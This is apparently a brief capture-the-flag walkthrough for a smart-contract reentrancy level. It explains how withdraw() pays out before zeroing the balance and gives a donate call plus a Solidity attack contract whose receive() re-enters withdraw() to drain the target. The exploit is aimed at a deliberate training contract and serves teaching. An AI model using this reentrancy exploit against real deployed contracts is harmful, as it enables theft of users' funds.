00Overview
The `withdraw()` function sends ETH before updating `balances[msg.sender]`. A malicious contract's `receive()` can recursively call `withdraw()` before the balance is zeroed, draining the contract.
01Donate to seed balance
javascript
await contract.donate(attackContract, {value: toWei("0.001")})02Deploy and trigger reentrancy attack
javascript
contract ReentrancyAttack {
Reentrance target;
receive() external payable {
if (address(target).balance > 0) {
target.withdraw(0.001 ether);
}
}
function attack() external payable {
target.donate{value: 0.001 ether}(address(this));
target.withdraw(0.001 ether);
}
}03Level Completed

.png&w=1920&q=75)